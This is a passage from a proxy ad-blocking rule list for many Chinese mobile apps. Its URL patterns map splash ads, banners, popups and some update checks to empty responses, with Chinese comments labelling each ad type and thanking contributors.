+^https?:\/\/cn-acs\.m\.cainiao\.com\/gw\/mtop\.cainiao\.nbpresentation\.(homepage\.merge|tabbar\.marketing)\.get\.cn data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 发现页 数字角标 裹裹券 +^https?:\/\/cn-acs\.m\.cainiao\.com\/gw\/mtop\.com\.cainiao\.cnactivitycenter data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/cn-acs\.m\.cainiao\.com\/gw\/mtop\.com\.cainiao\.cncreditmarket\.hit\.getactivityhit\.cn data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/cn-acs\.m\.cainiao\.com\/gw\/mtop\.com\.cainiao\.longquan\.place\.getpageresourcecontent\.cn data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 感谢【Joe Joy】分享 +^https?:\/\/fintechappdr\.cgws\.com\/api\/business-operation\/app\/a\/flash\/window\/get\?type=2 data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = ptmpcap.caocaokeji.cn, cap.caocaokeji.cn +^https?:\/\/ptmpcap\.caocaokeji\.cn\/advert-bss\/ data-type=tiny-gif status-code=200 + +^https?:\/\/atrace\.chelaile\.net\.cn\/adpub\/ data-type=tiny-gif status-code=200 + +^https?:\/\/atrace\.chelaile\.net\.cn\/exhibit\?&adv_image data-type=tiny-gif status-code=200 + +# 开屏广告 由【jinlvei】分享 +^https?:\/\/182\.92\.244\.70\/d\/json data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 开屏广告 +^https?:\/\/ios-api\.lucklyworld\.com\/v6\/api\/config\/startup data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = gw.chuangkit.com +^https:\/\/gw\.chuangkit\.com\/team\/app\/common\/ad\/ data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 去开屏广告 +^https:\/\/se-api\.djiits\.com\/api\/components\/launch_ad\.json\?abbrv_url=1&country=cn&language=zh-CN data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = acs.m.taobao.com, amdc.m.taobao.com +^https?:\/\/acs\.m\.taobao\.com\/gw\/mtop\.damai\.wireless\.home\.welcome data-type=text data=" " status-code=200 + +# hostname = sdk.alibaba.com.ailbaba.me, adservice.sigmob.cn +^https?:\/\/sdk\.alibaba\.com\.ailbaba\.me\/xgapp\.php\/v\d\/version data-type=text data=" " status-code=200 + +^https?:\/\/sdk\.alibaba\.com\.ailbaba\.me\/xgapp\.php\/v\d\/advert\?position=[^2]+ data-type=text data=" " status-code=200 + +^https?:\/\/sdk\.alibaba\.com\.ailbaba\.me\/xgapp\.php\/v\d\/top_notice\? data-type=text data=" " status-code=200 + +^https?:\/\/sdk\.alibaba\.com\.ailbaba\.me\/(dsx|xgapp)\.php\/v\d\/(top_notice\?|version|advert\?position=[^2]+) data-type=text data=" " status-code=200 + +# 开屏广告,弹窗广告,首页置顶轮播广告 感谢【T大G】分享 +^https?:\/\/delivery-api\.imdada\.cn\/v2_0\/dada\/promote\/imax\?privacyParam data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/delivery-api\.imdada\.cn\/v1_0\/transporter\/screen\/ads_list data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/delivery-api\.imdada\.cn\/v1_0\/transporter\/ad data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 开屏广告 +^https?:\/\/ump\.sz\.creditcard\.ecitic\.com\/citiccard\/cm-ump\/ump-gateway\/ump-net-app\/ump-net-app\/adv data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/m\.creditcard\.ecitic\.com\/citiccard\/mbk\/appspace-getway\/getWay\/dkkj-system-web\/system\/v\d\/init-config data-type=text data=" " status-code=200 + +# 开屏广告 感谢【企鹅】分享 +^https?:\/\/appdmkj\.5idream\.net\/appPic\/homepage data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 更新弹窗 感谢【企鹅】分享 +^https?:\/\/appdmkj\.5idream\.net\/v2\/login\/message\/tip data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 我的页面广告 +^https?:\/\/appdmkj\.5idream\.net\/v3\/user\/advertising\/list data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = img.ddrk.me, ddrk.me +^https?:\/\/img\.ddrk\.me\/ad190824 data-type=tiny-gif status-code=200 + +^https?:\/\/img\.ddrk\.me\/cover\.png data-type=tiny-gif status-code=200 + +^https?:\/\/ddrk\.me\/image\/logo_footer\.png data-type=tiny-gif status-code=200 + +^https?:\/\/ddrk\.me\/wp-content\/plugins\/advanced-floating-content-lite\/public\/images\/close\.png data-type=tiny-gif status-code=200 + +# 如开启可自行添加主机名 img*.douban.com, frodo.douban.com, erebor.douban.com +^https?:\/\/api\.douban\.com\/v\d\/app_ads\/ data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/api\.douban\.com\/b.*\/common_ads\?.* data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/rtbapi\.douyucdn\.cn\/japi\/sign\/app\/getinfo data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/staticlive\.douyucdn\.cn\/.+?\/getStartSend data-type=tiny-gif status-code=200 + +^https?:\/\/capi\.douyucdn\.cn\/api\/ios_app\/check_update data-type=tiny-gif status-code=200 + +^https?:\/\/capi\.douyucdn\.cn\/api\/v1\/getStartSend?client_sys=ios data-type=tiny-gif status-code=200 + +^https?:\/\/douyucdn\.cn\/.+?\/appapi\/getinfo data-type=tiny-gif status-code=200 + +# VIP开通弹窗 +^https?:\/\/maicai\.api\.ddxq\.mobi\/vip\/getVipAd data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 我的页弹窗(暂未启用) +^https:\/\/maicai\.api\.ddxq\.mobi\/homeApi\/queryMyPagePopup data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 我的页-猜你喜欢 +^https?:\/\/maicai\.api\.ddxq\.mobi\/homeApi\/userLike data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 购物车顶部VIP横条 +^https?:\/\/maicai\.api\.ddxq\.mobi\/cart\/vipGuide data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 购物车-猜你喜欢 +^https?:\/\/maicai\.api\.ddxq\.mobi\/order\/getRecommend data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = img.admobile.top, webcdn.m.qq.com +^https?:\/\/img\.admobile\.top\/admobile-adRequest\/.*.(jpg|png) data-type=text data=" " status-code=200 + +^https?:\/\/webcdn\.m\.qq\.com\/qiantu\/upload\/202[0-9]{5}\/.*.(jpg|png) data-type=text data=" " status-code=200 + +# hostname = app.ceair.com +^https?:\/\/app\.ceair\.com\/customize\/security\/update data-type=text data=" " status-code=200 + +^https?:\/\/app\.ceair\.com\/customize\/main\/adScreen data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 误杀少 解决阿里系的开屏 目前测试咸鱼/钉钉 感谢【zzzzzz】分享 +^https?:\/\/(gw|img)\.alicdn\.com\/imgextra\/.+\/[\w!]+\d+-\d+-.+-\b([8-9]\d{2,}|[1-9]\d{3,})\b-\b([5-9]\d{2,}|[1-9]\d{3,})\b data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = api.gamer.com.tw +^https?:\/\/api\.gamer\.com\.tw\/mobile_app\/anime\/v\d\/anime_get_question\.php data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = res.xiaojukeji.com, common.diditaxi.com.cn, hd.xiaojukeji.com, freight.xiaojukeji.com, daijia.kuaidadi.com, ct.xiaojukeji.com, conf.diditaxi.com.cn +^https?:\/\/hd\.xiaojukeji\.com\/d data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = pt-starimg.didistatic.com, omgup*.xiaojukeji.com +^https?:\/\/pt-starimg\.didistatic\.com\/static\/starimg\/node\/.*.(jpg|png|gif) data-type=text data=" " status-code=200 + +^https?:\/\/omgup[0-9]{1}\.xiaojukeji\.com\/api data-type=text data=" " status-code=200 + +# 横幅广告 +^https?:\/\/as\.xiaojukeji\.com\/ep\/as\/conf\?ns=daijia-front&name= data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/daijia\.kuaidadi\.com\/gateway\?api=prado\.cms\.delivery\.batch&apiVe data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/adx-cn\.anythinktech\.com\/bid data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/capis(-?\w*)?\.didapinche\.com\/publish\/api\/upgrade data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/www\.didapinche\.com\/app\/adstat\/ data-type=text data=" " status-code=200 + +^https?:\/\/cdn\.poizon\.com\/node-common\/.*.jpg data-type=text data=" " status-code=200 + +# hostname = app.95598pay.com +^https?:\/\/app\.95598pay\.com\/debapi\/adsite\/ data-type=text data=" " status-code=200 + +^https?:\/\/apphw\.ddpai\.com:\d+\/onroad\/api\/v\d\/\w+\/list data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = pic.edaijia.cn +^https?:\/\/pic\.edaijia\.cn\/adsplash\/ data-type=text data=" " status-code=200 + +# hostname = cdn-evone-ceph.echargenet.com +^https?:\/\/cdn-evone-ceph\.echargenet\.com\/gw-emas-cdn\/63c4e3b558bb610008969f89 data-type=text data=" " status-code=200 + +^https?:\/\/fuss10\.elemecdn\.com\/.+?\.mp4 data-type=tiny-gif status-code=200 + +# hostname = acs.m.taobao.com, gw.alicdn.com +^https?:\/\/acs\.m\.taobao\.com\/gw\/mtop\.fliggy\.crm\.screen\.(allresource|predict) data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/acs\.m\.taobao\.com\/gw\/mtop\.trip\.activity\.querytmsresources\/1\.0\?type=originaljson data-type=tiny-gif status-code=200 + +# hostname = ptf.flyertrip.com, 47.100.65.202, www.flyert.com +^https?:\/\/ptf\.flyertrip\.com\/common\/cf\/.*.jpg data-type=text data=" " status-code=200 + +^https?:\/\/www\.flyert\.com\/.*\.php\?module=advis data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/www\.flyert\.com(\.cn)?\/.*\.php\?module=advis data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 开屏 需要卸载重装 +^https:\/\/api\.flydigi\.com\/android\/v2\/ad data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/api\.fengshows\.com\/api\/launchAD data-type=tiny-gif status-code=200 + +# 我的横幅广告 +^https?:\/\/api\.futunn\.com\/v2\/optimus\/my-homepage-config data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 账户和交易横幅广告 +^https?:\/\/api\.futunn\.com\/v2\/config\/promote-config data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = fm.fenqile.com +^https?:\/\/fm\.fenqile\.com\/routev2\/other\/getfloatAd\.json data-type=tiny-gif status-code=200 + +^https?:\/\/fm\.fenqile\.com\/routev2\/other\/startImg\.json data-type=tiny-gif status-code=200 + +# hostname = l*.51fanli.net +^https?:\/\/l[0-9]{1}\.51fanli\.net\/app\/images\/splash\/2022\/0[4-9]{1}\/.*.jpg data-type=text data=" " status-code=200 + +^https?:\/\/l[0-9]{1}\.51fanli\.net\/app\/images\/splash\/2022\/1[0-2]{1}\/.*.jpg data-type=text data=" " status-code=200 + +^https?:\/\/l[0-9]{1}\.51fanli\.net\/app\/images\/splash\/202\d{1}\/\d{2}\/.*.jpg data-type=text data=" " status-code=200 + +# 开屏广告 +^https?:\/\/static\.95508\.com\/mmg\/images\/ads\/.+\/(.+1125?.+2436|.+%.+%|.+_.+_) data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/static\.95508\.com\/mmg\/ciop\/sysabbr\/cmep\/images\/apppopupads data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 去开屏广告 +^https:\/\/ecloud\.tppension\.cntaiping\.com\/fxtpplatform\/common\/anonymous\/common\/page\/queryStartPageNew\?language=zh-CN data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = mobile.cebbank.com, yghsh.cebbank.com +^https?:\/\/mobile\.cebbank\.com\/cebclient\/ClientNoticeList data-type=text data=" " status-code=200 + +# > 光大银行 阳光惠生活 +^https?:\/\/yghsh\.cebbank\.com\/static\/picture\/.*.jpg data-type=text data=" " status-code=200 + +# 如开启可自行添加主机名 +^https?:\/\/v\.icbc\.com\.cn\/userfiles\/Resources\/WAP\/advertisement\/ data-type=text data=" " status-code=200 + +# hostname = pv.elife.icbc.com.cn +^https?:\/\/pv\.elife\.icbc\.com\.cn\/OFSTPV\/utm\.gif data-type=text data=" " status-code=200 + +# 如开启可自行添加主机名 +^https?:\/\/elife\.icbc\.com\.cn\/OFSTNEWBASE\/floorinfo\/getMantlePages\.do data-type=text data=" " status-code=200 + +# hostname = static.95508.com, mps.95508.com +^https?:\/\/static\.95508\.com\/icppweb\/images\/modelMaterial\/accurate\/202\d{5}\/.*.(png|jpg) data-type=text data=" " status-code=200 + +^https?:\/\/static\.95508\.com\/icppweb\/images\/modelMaterial\/advertising\/202\d{5}\/.*.(png|jpg) data-type=text data=" " status-code=200 + +^https?:\/\/mps\.95508\.com\/mps\/club\/cardPortals\/adv\/\d{25}\.(png|jpg) data-type=tiny-gif status-code=200 + +# hostname = mbank.grcbank.com +^https?:\/\/mbank\.grcbank\.com\/ydyh\/resources\/startpage\/.*.(jpg|png) data-type=text data=" " status-code=200 + +# 开屏广告 感谢【Charlie】分享 +^https?:\/\/gsp\.gacmotor\.com\/gateway\/webapi\/baseinfo\/advertise\/getAdvertiseByPositionCode\?positionCode=1 data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 更新弹窗 感谢【企鹅】分享 +^https?:\/\/gsp\.gacmotor\.com\/gateway\/app-api\/app\/version\/latestupdate\?flatform=2&innerVersion= data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = dl.app.gtja.com, dl*.app.gtja.com +^https?:\/\/dl\.app\.gtja\.com\/dzswem\/kvController data-type=text data=" " status-code=200 + +# hostname = m*.amap.com, optimus-ads.amap.com +^https?:\/\/m5\.amap\.com\/ws\/shield\/dsp\/app\/startup\/init\? data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?://optimus-ads.amap.com/uploadimg/[a-zA-Z0-9]+.gif data-type=text data=" " status-code=200 + +# 如开启可自行添加主机名,但似乎已不可MITM +^https?:\/\/.+\.googleapis.com/.+ad_break data-type=tiny-gif status-code=200 + +^https?:\/\/.+\.googleapis.com/.+log_event data-type=tiny-gif status-code=200 + +^https?:\/\/.+\.googleapis.com/adsmeasurement data-type=tiny-gif status-code=200 + +^https?:\/\/pagead2\.googlesyndication\.com\/pagead\/ data-type=tiny-gif status-code=200 + +# hostname = kano.guahao.cn, app.wy.guahao.com +^https?:\/\/kano\.guahao\.cn\/[a-zA-Z0-9]{12} data-type=text data=" " status-code=200 + +^https?:\/\/kano\.guahao\.cn\/.+?\?resize=\d{3}-\d{4} data-type=tiny-gif status-code=200 + +# 开屏广告 +^https?:\/\/gugongmini\.dpm\.org\.cn\/gugong_applet\/open-screen data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = awg.enmonster.com +https?:\/\/awg\.enmonster\.com\/apa\/(advert\/demand\/home\/poster|index\/advert\/skin) data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = yun.tuitiger.com, mi.gdt.qq.com, open.e.kuaishou.com +^https?:\/\/yun\.tuitiger\.com\/mami-media data-type=text data=" " status-code=200 + +# hostname = cdn.133.cn, jt.rsscc.com, jp.rsscc.com +^https?:\/\/cdn\.133\.cn\/md\/gtgj\/.+\/.+720x1280 data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 横幅广告 +^https:\/\/emisdatacenteraws\.hafoo\.com\/ad\/api\/v2\/appMarket data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = static.creditcard.hxb.com.cn +^https?:\/\/static\.creditcard\.hxb\.com\.cn\/mcube\/apps\/group\d\/M00\/00\/2[A-Z0-9]{1}\/amRG7WO.+\.jpg data-type=text data=" " status-code=200 + +# 开屏广告 感谢【Joe Joy】分享 +^https?:\/\/api-one-wscn\.awtmt\.com\/apiv1\/advertising\/ads\/[0-9]+\/materials data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/cdnfile1\.msstatic\.com\/cdnfile\/appad\/ data-type=tiny-gif status-code=200 + +^https?://live-ads\.huya\.com/live/getAllEntrance.*$ data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 推荐信息 +^https?:\/\/hweb-hotel\.huazhu\.com\/home\/queryRecommond data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 新客专享: queryNewNotice | 天天特惠四方格: querySelectHotel | 华住品牌: queryHotelBrand | 华住商城: queryMall | 华住世界: huazhuWorld +^https?:\/\/hweb-hotel\.huazhu\.com\/{1,2}home\/(?>queryNewNotice|querySelectHotel|queryHotelBrand|queryMall|huazhuWorld) data-type=text data=" " status-code=200 + +# 弹窗广告 +^https?:\/\/hweb-manager\.huazhu\.com\/notice\/getAppPopupNotifyAlert data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 更新屏蔽 +^https?:\/\/hweb-manager\.huazhu\.com\/bundle\/upgrade\/check data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 搜索酒店上方Banner +^https?:\/\/hweb-manager\.huazhu\.com\/hotels\/ad\/ data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/cmsfile\.wifi8\.com\/uploads\/png\/ data-type=tiny-gif status-code=200 + +# 开屏 +^https?:\/\/res\.hongyibo\.com\.cn\/os\/gs\/resapi\/activity\/mget\?_t data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/games\.mobileapi\.hupu\.com\/.+?\/(search|interfaceAdMonitor|status|hupuBbsPm)/(hotkey|init|hupuBbsPm)\. data-type=tiny-gif status-code=200 + +^https?:\/\/du\.hupucdn\.com\/\w+h\d{4} data-type=tiny-gif status-code=200 + +^https?:\/\/i\d\.hoopchina\.com\.cn/blogfile\//d+\//d+\/BbsImg\.(?<=(big.(png|jpg)))$ data-type=tiny-gif status-code=200 + +^https?:\/\/i1\.hoopchina\.com\.cn\/blogfile\/.+_\d{3}x\d{4} data-type=tiny-gif status-code=200 + +# hostname = ads.iconntech.com, smkmp.96225.com +^https?:\/\/ads\.iconntech\.com\/resource-delivery\/*\/.*.(jpg|png) data-type=text data=" " status-code=200 + +# hostname = api.touker.com +^https?:\/\/api\.touker\.com\/v2\/IAdvertisementAPI\.queryStartAdvertisement data-type=text data=" " status-code=200 + +# 屏蔽升级弹窗 感谢【Charlie】分享 +^https?:\/\/m\.prod\.app\.hsbcfts\.com\.cn\/api\/sapp\/biz\/config\/open\/queryappversion\?channelCode= data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 感谢【可莉】分享 +^https?:\/\/hfapp-service\.qweather\.net\/v\d\.\d\/app\/ad\/list\? data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = promote-trx.helipay.com +^https?:\/\/promote-trx\.helipay\.com\/promote-business-client\/pos\/appAdvertisement\/appAdvertisementList data-type=text data=" " status-code=200 + +^https?:\/\/acs(\.|-)m\.(taobao|freshippo)\.com\/gw\/mtop\.wdk\.sg\.querysinglescene data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/acs(\.|-)m\.(taobao|freshippo)\.com\/gw\/mtop\.wdk\.render\.querysinglepage data-type=text data=" " status-code=200 + +^https?:\/\/acs(\.|-)m\.(taobao|freshippo)\.com\/gw\/mtop\.wdk\.fc\.recommend\.feedscommondservice data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/acs(\.|-)m\.(taobao|freshippo)\.com\/gw\/mtop\.wdk\.crm\.platform\.ma\.recommend data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/acs(\.|-)m\.(taobao|freshippo)\.com\/gw\/mtop\.wdk\.mimir\.recommend\.after\.purchase\.activity data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 横幅广告 +^https?:\/\/service\.haiersmarthomes\.com\/management\/banner\/getBannerList\?source=4 data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 顶部横幅广告 +^https?:\/\/api\.hengdianfilm\.com\/\/cinema\/queryAvailableBannerInfo\/2\?cid= data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 中间横幅广告 +^https?:\/\/api\.hengdianfilm\.com\/\/cinema\/queryAvailableBannerInfo\/4\?cid= data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = 39.98.135.211 +^https?:\/\/39\.98\.135\.211\/admin\/filter\/crowdFunding\/getNewProductData data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/39\.98\.135\.211\/admin\/filter\/advert\/getAdvertLists data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 屏蔽开屏广告 +^https:\/\/www\.haixue\.com\/advert\/app\/adInfo\/v1\/queryAdByPositionCode data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = cdn.jlbank.com.cn +^https?:\/\/cdn\.jlbank\.com\.cn\/jlstaticresource\/APPSTART data-type=text data=" " status-code=200 + +# 可能导致登录验证码不显示 +^https?:\/\/mbank5\.jsbchina\.cn:443 data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 首页横幅广告 +^https?:\/\/yunbusiness\.ccb\.com\/clp_service\/txCtrl\?txcode=A3341A(002|006|009|119|120) data-type=text data=" " status-code=200 + +^https?:\/\/yunbusiness\.ccb\.com\/clp_service\/txCtrl\?txcode=A3341C147 data-type=text data=" " status-code=200 + +# 内置饿了么 +^https?:\/\/waimai-guide\.ele\.me\/\w+\/mtop\.alsc\.eleme\.\w+\.trigger\.respond data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = api.tipsoon.com +^https?:\/\/api\.tipsoon\.com\/api\/v1\/top\/ad data-type=tiny-gif status-code=200 + +^https?:\/\/service\.iciba\.com\/popo\/open\/screens\/v\d\?adjson data-type=text data=" " status-code=200 + +^https?:\/\/\w+?\.kingsoft-office-service\.com\/ad data-type=text data=" " status-code=200 + +# hostname = m.360buyimg.com +^https?:\/\/m\.360buyimg\.com\/babel\/jfs\/t1\/[0-9]{6}\/[0-9]{2}\/[0-9]{5}\/[0-9]{6}\/.*.jpg data-type=text data=" " status-code=200 + +# hostname = m.360buyimg.com, api.m.jd.com, bdsp-x.jd.com, dsp-x.jd.com, ms.jr.jd.com, appconf.mail.163.com, support.you.163.com +^https?:\/\/m.360buyimg\.com\/mobilecms\/s1125x2436_jfs\/ data-type=text data=" " status-code=200 + +^https?:\/\/api\.m\.jd\.com\/client\.action\?functionId=start data-type=tiny-gif status-code=200 + +^https?:\/\/(bdsp-x|dsp-x)\.jd\.com\/adx\/ data-type=text data=" " status-code=200 + +# hostname = jdread-api.jd.com +^https?:\/\/jdread-api\.jd\.com\/jdread\/api\/channel\/module\/opens data-type=text data=" " status-code=200 + +^https?:\/\/jdread-api\.jd\.com\/jdread\/api\/popup data-type=text data=" " status-code=200 + +# hostname = router-app-api.jdcloud.com +^https?:\/\/router-app-api\.jdcloud\.com\/v\d\/board\/routerAppSplash data-type=text data=" " status-code=200 + +^https?:\/\/richmanapi\.jxedt\.com\/api\/(ad|adplus|banadplus)\/ data-type=text data=" " status-code=200 + +^https?:\/\/api\.jxedt\.com\/jump\/EMiCcDNp data-type=tiny-gif status-code=200 + +^https?:\/\/richmanmain\.jxedt\.com\/advertisement\/fallback data-type=tiny-gif status-code=200 + +^https?:\/\/789\.kakamobi\.cn\/.+adver data-type=tiny-gif status-code=200 + +^https?:\/\/smart\.789\.image\.mucang\.cn\/advert data-type=tiny-gif status-code=200 + +# hostname = api.sogaha.cn +^https?:\/\/api\.sogaha\.cn\/ssp\/ad\/get\?ip data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = img.gdoil.cn +^https?:\/\/img\.gdoil\.cn\/upload\/ad\/.*.(jpg|png) data-type=text data=" " status-code=200 + +# 开屏广告 感谢【Ava阿檬】分享 +^https?:\/\/www\.gcores\.com\/gapi\/v1\/app-start-pages\?page data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = s.jiediankeji.com +^https?:\/\/s\.jiediankeji\.com\/adv data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = api.gotokeep.com, kad.gotokeep.com, static1.keepcdn.com +^https?:\/\/static1\.keepcdn\.com\/ark_optimus\/202\d\/*\/*\/.*.(png|jpg) data-type=text data=" " status-code=200 + +# hostname = api.kkmh.com +^https?:\/\/api\.kkmh\.com\/v\d\/ad\/show data-type=text data=" " status-code=200 + +^https?:\/\/api\.kkmh\.com\/v\d\/advertisement\/ data-type=text data=" " status-code=200 + +# 广告 +^https?:\/\/audiobookpay\.kuwo\.cn\/a\.p\?op=get_advertright_endtime data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 开屏广告 感谢【树先生】分享 +^https:\/\/bp-api\.bestv\.com\.cn\/cms\/api\/free\/open\/advertisingV2 data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = p.kuaidi100.com,video-dsp.pddpic.com,t-dsp.pinduoduo.com,images.pinduoduo.com +^https?:\/\/cdn\.kuaidi100\.com\/images\/open\/appads data-type=tiny-gif status-code=200 + +^https?:\/\/p\.kuaidi100\.com\/advertisement\/ data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/p\.kuaidi100\.com\/e-commerce\/act\/actInfo\? data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/p\.kuaidi100\.com\/apicenter\/card\.dox data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = www.oschina.net +^https?:\/\/www\.oschina\.net\/action\/apiv2\/get_launcher data-type=tiny-gif status-code=200 + +# hostname = pocketuni.net +^https?:\/\/pocketuni\.net\/\?app=api&mod=Message&act=ad data-type=text data=" " status-code=200 + +# hostname = api.gongkaoleida.com +^https?:\/\/api\.gongkaoleida\.com\/api\/v2\/ad\/info data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = res.kfc.com.cn +^https?:\/\/res\.kfc\.com\.cn\/CRM\/kfcad\/apphome5\/apphome data-type=text data=" " status-code=200 + +^https?:\/\/res\.kfc\.com\.cn\/CRM\/kfcad\/apphome6\/\w+\.json\? data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = a.line.me, ad.line-scdn.net, buy.line.me, cix.line-apps.com, crs-event.line.me, d.line-scdn.net, gw.line.naver.jp, legy.line-apps.com, nelo2-col.linecorp.com, obs.line-scdn.net, scdn.line-apps.com, sch.line.me, static.line-scdn.net, uts-front.line-apps.com, w.line.me +https:\/\/a\.line\.me\/er\/lads\/v\d\/ei\? data-type=tiny-gif status-code=200 + +https:\/\/a\.line\.me\/er\/l.*\/v\d\/event\/image data-type=tiny-gif status-code=200 + +https:\/\/ad\.line-scdn\.net\/0h.+\/(o|m)\d+x\d+$ data-type=tiny-gif status-code=200 + +https:\/\/obs\.line-scdn\.net\/r\/linecrs\/.+\/m180x180$ data-type=tiny-gif status-code=200 + +https:\/\/d\.line-scdn\.net\/lcp-prod-photo\/20.+\.(jpg|jpeg|png) data-type=tiny-gif status-code=200 + +# hostname = gmp.lakala.com, wallet.lakala.com +^https:\/\/(?:gmp|wallet)\.lakala\.com\/(?:gmp\/openapi\/v2\/resource_space\/getResourceSpace|m\/(?:a\/lama\/mgt\/activity\/biz\/query\/byMerInfo|lama\/mgt\/activity\/(?:bank|biz)\/query\/list)) data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = 118.178.214.118, dapis.mting.info, display.wting.info +^https?:\/\/118\.178\.214\.118\/yyting\/advertclient\/ClientAdvertList\.action data-type=tiny-gif status-code=200 + +^https?:\/\/dapis\.mting\.info\/yyting\/advertclient\/ClientAdvertList\.action data-type=tiny-gif status-code=200 + +^https?:\/\/display\.wting\.info\/.*.jpeg data-type=text data=" " status-code=200 + +# hostname = mobile-api.imlaidian.com +^https?:\/\/mobile-api\.imlaidian\.com\/api\/args data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 开屏广告+弹窗广告 +^https?:\/\/tbgapplet\.carlsberg\.asia\/tuborg\/banner\/(loading|index) data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = www.iyingdi.cn +^https?:\/\/www\.iyingdi\.cn\/ad data-type=text data=" " status-code=200 + +# (第一条一劳永逸,误杀很多,后面几条没有误杀,需要频繁更新规则) +^https?:\/\/cdn-oss\.00bang\.cn\/image\/LLB_OSS50140C35669841B7A4218215C8C5338A\.jpg data-type=text data=" " status-code=200 + +^https?:\/\/cdn-oss\.00bang\.cn\/image\/LLB_OSS32D553B6981546909417BEF3B7A3BC4D\.jpg data-type=text data=" " status-code=200 + +^https?:\/\/cdn-oss\.00bang\.cn\/image\/LLB_OSSC8A54C9913CA475DABECA1054A219CA2\.jpg data-type=text data=" " status-code=200 + +^https?:\/\/cdn-oss\.00bang\.cn\/image\/LLB_OSS2FC543D52E7447678660A4D9EC4F6C60\.jpg data-type=text data=" " status-code=200 + +^https?:\/\/api\.00bang\.cn\/llb\/baseinfo\/advertise\/getAdvertiseByPageCode data-type=text data=" " status-code=200 + +# 屏蔽虚拟定位升级弹窗 +^https?:\/\/app\.aa-ab\.com\/home data-type=text data=" " status-code=200 + +# 开屏广告 感谢@林夕分享 +^https?:\/\/ad\.lofter.com\/v1\.1\/yitou\/madr data-type=text data=" 